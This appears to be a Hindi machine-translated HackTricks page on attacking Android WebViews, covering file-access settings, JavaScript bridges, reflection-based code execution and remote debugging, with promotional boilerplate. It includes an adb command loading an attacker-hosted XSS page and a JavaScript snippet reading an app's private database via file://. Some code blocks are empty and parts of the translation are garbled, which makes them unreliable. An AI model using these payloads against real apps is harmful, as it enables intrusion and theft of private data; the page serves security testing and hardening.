# वेबव्यू हमले
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family)
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का पालन करें**.
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपनी ट्रिक्स साझा करें।**
## दिलचस्प समाकृतियाँ
आप इस तरह से एक उज्ज्वलित WebView की पहचान कर सकते हैं:
### फ़ाइल एक्सेस
_WebView_ फ़ाइल एक्सेस डिफ़ॉल्ट रूप से सक्षम होता है। API 3 (Cupcake 1.5) से [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) विधि उपलब्ध होती है जिसका उपयोग इसे सक्षम या अक्षम करने के लिए किया जा सकता है।\
यदि एप्लिकेशन में \_**android.permission.READ\_EXTERNAL\_STORAGE** \_ है तो यह बाहरी संग्रह से फ़ाइलें पढ़ और लोड कर सकेगा।\
_WebView_ को फ़ाइल यूआरएल स्कीम का उपयोग करना होगा, जैसे `file://path/file`, ताकि फ़ाइल तक पहुँच सकें।
#### फ़ाइल यूआरएल से यूनिवर्सल एक्सेस (पुराना)
> यह सेट करता है कि फ़ाइल स्कीम यूआर के संदर्भ में **क्रॉस-संस्करण अनुरोधों** को किसी भी संस्थान से संबंधित सामग्री तक पहुँचने की अनुमति देनी चाहिए। इसमें **अन्य फ़ाइल स्कीम यूआर या वेब संदर्भों से सामग्री तक पहुँचने की अनुमति शामिल है।** ध्यान दें कि कुछ पहुँच जैसे छवि HTML तत्व उपस्थिति-मूल नियमों का पालन नहीं करती है और इस सेटिंग से प्रभावित नहीं होती है।
>
> यदि आप ऐसी फ़ाइलें खोलते हैं जो बाहरी स्रोतों द्वारा बनाई या संशोधित की जा सकती हैं, तो इस सेटिंग को सक्षम न करें। इस सेटिंग को सक्षम करने से **`file://`** संदर्भ में लोड होने वाले खतरनाक स्क्रिप्ट क्रॉस-साइट स्क्रिप्टिंग हमलों को शुरू करने की अनुमति देता है, जो **WebView कुकीज़, ऐप के निजी डेटा या यात्रा की जानकारी को भी शामिल करते हैं**।
सारांश रूप में यह **अनियमित मूलों को लोड करने से रोकेगा**। अगर प्रतिक्रिया उस मूल को अनुमति नहीं देती है (**`Access-Control-Allow-Origin: file://`**) तो ऐप URL अनुरोध भेजेगा ताकि सामग्री को लोड करें (**`Origin: file://`**)।\
**डिफ़ॉल्ट मान `false`** होता है जब [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) और उससे ऊपर का लक्ष्य है।
* जानने के लिए [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) का उपयोग करें कि क्या फ़ाइल स्कीम यूआर के संदर्भ में चल रहे JavaScript किसी भी मूल से सामग्री तक पहुँच सकता है (यदि UniversalAccessFromFileURL सक्षम है)।
* इसे सक्षम/अक्षम करने के लिए [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) का उपयोग करें।
{% hint style="info" %}
**`loadDataWithBaseURL()`** का उपयोग `null`
#### फ़ाइल एक्सेस
> **WebView** के भीतर फ़ाइल एक्सेस को सक्षम या अक्षम करता है। ध्यान दें कि यह केवल फ़ाइल सिस्टम एक्सेस को ही सक्षम या अक्षम करता है। एसेट्स और संसाधन फ़ाइल:///android_asset और फ़ाइल:///android_res का उपयोग करके अभी भी एक्सेस कर सकते हैं।
सारांश में, यदि यह अक्षम हो जाए, तो WebView `file://` प्रोटोकॉल के साथ स्थानीय फ़ाइल लोड नहीं कर सकेगा।
[`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION_CODES#R) को लक्ष्य बनाते हुए **डिफ़ॉल्ट मान `false` है**।
* जानने के लिए [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) का उपयोग करें कि क्या विन्यास सक्षम है।
* इसे सक्षम/अक्षम करने के लिए [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) का उपयोग करें।
#### WebViewAssetLoader
> [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html) कक्षा के भीतर http(s):// URL का उपयोग करके एप्लिकेशन के स्थायी एसेट्स और संसाधन सहित स्थानीय फ़ाइलों को लोड करने के लिए सहायक कक्षा। "file://" के बजाय वेब-जैसे URL का उपयोग करके स्थानीय फ़ाइलों को लोड करना इच्छित है क्योंकि यह समान मूल नीति के साथ संगत है।
यह नई सिफारिशित तरीका है स्थानीय फ़ाइलों को लोड करने के लिए। लक्ष्य है कि **डोमेन** के साथ **HTTP URL का उपयोग करके स्थानीय फ़ाइलों तक पहुंचा जा सके**। इस तरह **CORS** को स्थानीय वेब पेजों और वेब पेजों के बीच संगठित रूप से बनाए रखना आसान हो सकता है जो वेब सर्वर से डाउनलोड किए जाते हैं।
### जावास्क्रिप्ट सक्षम
WebView में जावास्क्रिप्ट **डिफ़ॉल्ट रूप से अक्षम होता है**। विधि [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) इसे सक्षम या अक्षम करने के लिए उपयोग की जा सकती है।
ध्यान दें कि webviews भी **`intent`** **scheme** का समर्थन कर सकते हैं जो अन्य एप्लिकेशनों को चलाने की अनुमति देता है। XSS से RCE तक कैसे जाएं, इस [लेख](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105) को पढ़ें।
यहां एक उदाहरण है जिसमें "support_url" पैरामीटर के माध्यम से XSS के माध्यम से अनावरणित वेबव्यू है (जो वेबव्यू में लोड करने के लिए URL निर्दिष्ट कर सकता है):
ऐसा vuln adb से उपयोग किया जा सकता है:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
```
{% endcode %}
### जावास्क्रिप्ट ब्रिज
एंड्रॉइड वेबव्यू में जावास्क्रिप्ट को निष्पादित करने के लिए एंड्रॉइड ऐप के **प्राकृतिक फंक्शन** (जिन्हें `@JavascriptInterface` के साथ चिह्नित किया गया है) को बुलाने और उपयोग करने का एक तरीका प्रदान करता है, [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29) विधि का उपयोग करके। इसे _वेबव्यू जावास्क्रिप्ट ब्रिज_ या _प्राकृतिक ब्रिज_ के रूप में जाना जाता है।
कृपया ध्यान दें कि **जब आप `addJavascriptInterface` का उपयोग करते हैं, तो आप सभी पेजों को जिन्हें वेबव्यू में लोड किया गया है, को पंजीकृत जावास्क्रिप्ट इंटरफेस ऑब्जेक्ट का पहुंच स्वतंत्र रूप से प्रदान कर रहे हैं**। इसका अर्थ है कि यदि उपयोगकर्ता आपके ऐप या डोमेन के बाहर नेविगेट करता है, तो सभी अन्य बाहरी पेजों को भी उन जावास्क्रिप्ट इंटरफेस ऑब्जेक्ट का पहुंच होगा, जो यदि कोई संवेदनशील डेटा उन इंटरफेस के माध्यम से उजागर हो रहा हो, तो यह एक संभावित सुरक्षा जोखिम प्रस्तुत कर सकता है।
> चेतावनी: एंड्रॉइड संस्करण 4.2 (API स्तर 17) से नीचे के लक्ष्यित ऐप्स के साथ अत्यधिक सतर्कता बरतें क्योंकि उनमें [`addJavascriptInterface`](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) के कार्यान्वयन में एक दोष हो सकता है: एक हमला जो प्रतिबिंबन का दुरुपयोग कर रहा है, जो वेबव्यू में दुष्ट जावास्क्रिप्ट डालने पर दूरस्थ कोड निष्पादन के लिए लक्ष्य बनाता है। इसका कारण यह है कि सभी जावा ऑब्जेक्ट विधियाँ डिफ़ॉल्ट रूप से पहुंचने योग्य होती हैं (चिह्नित विधियों के अलावा)।
#### स्थिरांकन विश्लेषण
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
```
```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
```markup
```
जब जावास्क्रिप्ट कोड तक पहुंच होती है, उदाहरण के लिए, संग्रहित **XSS**, **MITM** हमला या एक **खतरनाक** **वेबसाइट** जो WebView में लोड होती है, सीधे उभरते जावा मेथड को कॉल कर सकती है।
{% hint style="info" %}
ध्यान दें कि इस संकट को उपयोग करने की कोशिश करने के मामले में, एक **आक्रमणकारी वेब पृष्ठ के लिए खुली रीडायरेक्ट** के माध्यम से इस संक्रमित वेब पृष्ठ को एक्सेस करने के लिए जब रेडायरेक्ट का उपयोग किया जाता है। यदि रेडायरेक्ट तक पहुंच मोबाइल **ब्राउज़र** के माध्यम से और **WebView** का उपयोग नहीं करके किया जाता है, तो **ब्राउज़र नेटिव एंड्रॉइड ऑब्जेक्ट तक पहुंच नहीं कर पाएगा**।
{% endhint %}
यदि `addJavascriptInterface` आवश्यक है, तो निम्नलिखित विचारों को ध्यान में रखें:
* **केवल APK के साथ प्रदान किया गया जावास्क्रिप्ट** ब्रिज का उपयोग करने की अनुमति देनी चाहिए, उदाहरण के लिए प्रत्येक ब्रिज्ड जावा मेथड पर URL की सत्यापन करके (द्वारा `WebView.getUrl`)।
* **दूरस्थ संदर्भ से कोई भी जावास्क्रिप्ट लोड नहीं होना चाहिए**, उदाहरण के लिए ऐप के डोमेन के भीतर पृष्ठ नेविगेशन को रखकर और अन्य सभी डोमेन को डिफ़ॉल्ट ब्राउज़र (जैसे Chrome, Firefox) में खोलकर।
* पुराने कारणों के लिए आवश्यक होने पर (उदाहरण के लिए पुराने उपकरणों का समर्थन करने की आवश्यकता होने पर), कम से कम मैनिफेस्ट फ़ाइल में ऐप के लिए न्यूनतम API स्तर को 17 सेट करें (``)
### जावास्क्रिप्ट ब्रिज से रिफ्लेक्शन के माध्यम से आरसीई तक
[**इस शोध**](https://labs.f-secure.com/archive/webview-addjavascriptinterface-remote-code-execution/) में दर्ज किया गया है कि जब आप एक जावास्क्रिप्ट ब्रिज खोजते हैं, तो निम्नलिखित प्रकार के पेलोड का उपयोग करके **रिफ्लेक्शन** के माध्यम से **आरसीई** प्राप्त किया जा सकता है:
```markup
```
हालांकि, आधुनिक एप्लिकेशन में **`@JavascriptInterface` एनोटेशन** का उपयोग किया जा सकता है जो जावास्क्रिप्टब्रिज को सूचित करता है कि केवल इस एनोटेशन वाली मेथड को ही **उजागर** किया जाना चाहिए।\
उस स्थिति में, आपको Reflection का उपयोग करके अनियमित कोड को निष्पादित करने के लिए सक्षम नहीं होंगे।
### रिमोट डीबगिंग
**रिमोट WebView** **डीबगिंग** वेबव्यू को **Chrome Developer Tools** के साथ एक्सेस करने की अनुमति देता है।\
यह **डिवाइस** PC द्वारा **एक्सेस करने योग्य** होनी चाहिए (USB के माध्यम से, स्थानीय एम्युलेटर, स्थानीय नेटवर्क...) और डीबगगेबल WebView को चला रही होनी चाहिए, फिर **chrome://inspect/#devices** तक पहुंचें:
![](<../../.gitbook/assets/image (525).png>)
**इंस्पेक्ट** को चुनें और एक नई विंडो खुलेगी। इस विंडो में आप **WebView** की **सामग्री के साथ इंटरैक्ट** कर सकते हैं और यहां से **कंसोल** टैब में से अनियमित JS कोड को भी **निष्पादित** कर सकते हैं:
![](<../../.gitbook/assets/image (526).png>)
**WebView रिमोट डीबगिंग** सक्षम करने के लिए आप कुछ इस तरह कर सकते हैं:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
**यह सेटिंग एप्लिकेशन के सभी WebView पर लागू होती है।**
{% hint style="info" %}
**WebView debugging** को एप्लिकेशन के मैनिफेस्ट में `debuggable` फ्लैग की स्थिति प्रभावित नहीं करती है। यदि आप WebView debugging को केवल जब `debuggable` `true` हो तब सक्षम करना चाहते हैं, तो रनटाइम पर फ्लैग की जांच करें।
{% endhint %}
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## पेलोड
### अनियमित फ़ाइलों को निकालें
यह तकनीक उन एंड्रॉइड ऐप्स के लिए उपयोगी हो सकती है जो WebView का उपयोग करते हैं और फ़ाइल अनुकरण की अनुमति देते हैं। इसके लिए, आपको निम्नलिखित पेलोड को WebView के जरिए भेजना होगा:
```html
```
यहां, `file:///path/to/file` को आपकी लक्ष्य फ़ाइल के पथ के साथ बदलें। जब यह पेलोड WebView में निष्पादित होगा, यह फ़ाइल के सामग्री को अपने सर्वर या अन्य संसाधन पर भेजेगा। आप इस सामग्री को अपनी आवश्यकतानुसार उपयोग कर सकते हैं, जैसे कि इसे एक लीक या अन्य उद्देश्यों के लिए संग्रहीत करना।
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
## संदर्भ
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में पीआर जमा करके अपना योगदान दें।**